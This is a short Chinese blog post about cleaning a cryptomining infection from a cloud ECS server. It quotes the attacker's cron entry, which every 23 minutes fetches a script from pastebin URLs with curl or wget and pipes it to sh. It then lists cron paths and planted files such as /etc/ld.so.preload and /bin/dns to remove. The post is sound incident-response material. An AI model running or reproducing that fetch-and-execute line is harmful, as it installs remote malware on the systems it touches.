篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了ECS服务器被脚本挖矿了，CPU100%负载相关的知识，希望对你有一定的参考价值。
ECS实例被别人挖矿了，一个文件搞的鬼，猜的是经过了Base64编码了，因为计划任务中有：
*/23 * * * *
(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/tRxfvbYN)|sh打开文件像是被Base64编码过的，在线通过Base64解码以后发现是个脚本：

#通过检查系统计划任务和DNS配置文件彻底解决，相关目录：
/etc/cron*
/var/spool/cron/root```
可能存在异常文件：
```bash
/usr/local/lib/libdns.so
/etc/ld.so.preload
/bin/dns
/usr/sbin/netdns
/etc/init.d/netdns（ /etc/rc.d/init.d/netdns）另外清空/tmp目录。
